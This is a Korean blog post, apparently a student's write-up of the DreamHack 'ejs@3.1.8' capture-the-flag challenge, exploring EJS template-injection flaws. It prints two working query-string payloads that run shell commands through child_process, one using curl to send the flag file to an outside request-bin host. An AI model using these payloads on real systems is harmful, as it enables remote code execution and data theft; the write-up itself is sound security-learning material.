Study/Web Hacking

[DreamHack] ejs@3.1.8

얀 짱 2026. 9. 22. 20:37

https://dreamhack.io/wargame/challenges/675

 

로그인 | Dreamhack

 

dreamhack.io

 

일단 제목이 뭔지 궁금해서 구글링 먼저함.

ejs@3.1.8는 Node.js 환경에서 사용되는 Embedded JavaScript 템플릿 엔진이라고 함.

그리고 해당 3.1.8 버전은 SSTI 및 프로토타입 오염(Prototype Pollution) 취약점과 연관이 있는 버전이라고 함.

 

https://lactea.kr/entry/%EB%B6%84%EC%84%9D-%EC%9D%BC%EA%B8%B0-EJS-Server-Side-Template-Injection-to-RCE-CVE-2022-29078#google_vignette

 

[분석 일기] - EJS, Server Side Template Injection to RCE (CVE-2022-29078)

🚪 Intro 2022년 4월달에 nodejs 의 모듈인 EJS에서 RCE 취약점이 발견되었습니다. 맨 아래 Reference 에 있는 링크를 참고하여 어떻게 EJS에서 RCE가 가능한지를 분석해 봤습니다. 취약한 EJS 버전은 `3.1.6`

lactea.kr

 

음! 해당 포스팅에서 취약하다고 한 부분이


내가 가진 코드의 11번째 줄에도 있었음.

 

https://jueun-security.tistory.com/29

 

ejs 3.1.6 SSTI 취약점 (CVE-2022-29078)

CTF 웹 문제를 봐보면 ssti 취약점 문제가 생각보다 많다. ssti 문제들의 패키지 파일을 보면 ejs 3.1.6 이나 ejs 3.1.8 등등이 있는 것 같다. 그래서 한번 ejs 3.1.8을 찾아보려니 먼저 ejs 3.1.6 취약점을 공

jueun-security.tistory.com

 

이 부분의 최종 POC 코드를 참고해서 URL에 넣어봄.

http://host3.dreamhack.games:23267/?settings[view%20options][outputFunctionName]=a;process.mainModule.require(%27child_process%27).execSync(%27curl%20%22http://requestsbin/?$(cat%20/flag)%22%27);

 

근데 3.1.8에서는 패치된 취약점이래..

CVE-2022-29078(EJS SSTI, outputFunctionName 옵션 오염) 취약점

https://hg2lee.tistory.com/entry/CVE-2022-29078-ejs316-outputFunctionName-Injection-Vulnerability

 

CVE-2022-29078 ejs(3.1.6) - outputFunctionName Injection Vulnerability

Node.js의 EJS 템플릿 버전 3.1.6 에서 발생한 취약점으로, 해당 취약점은 SSTI -> RCE로 이어질 수 있는 고 위험군 취약점이다.사용자의 입력값이 data로 넘어 갈 때 settings['view options'][outputFunctionName]를

hg2lee.tistory.com

 

-> 이걸 이용해서 outputFunctionName 옵션에 임의 문자열을 주입해서 뚜루뚜루 진행해보려고 했는데 해당 POC 부터 막혀서 다른 것을 찾아봄..

 

더 찾아보니 3.1.8 버전 등에서 제기된 escapeFunction 및 프로토타입 오염(Prototype Pollution) 관련 취약점 (CVE-2024-33883) 이 있었음.

결국 outputFunctionName이 아니라 escapeFunction으로 해결해야 하는 문제였나봐.

 

http://minpo.tistory.com/198

 

ejs 3.1.6 ssti

ejs의 ssti 공격과 관련된 문제가 존재하였다. ejs@3.1.8 이 문제이다. 그렇기에 바로 cve를 보러 갔는데 다음과 같은 글을 보게 되었다.(https://github.com/mde/ejs/security) 상당히 놀라웠다. 에당초 대부분의

minpo.tistory.com

 

여기에 관련된 POC가 있길래 참고함.

?settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString(); c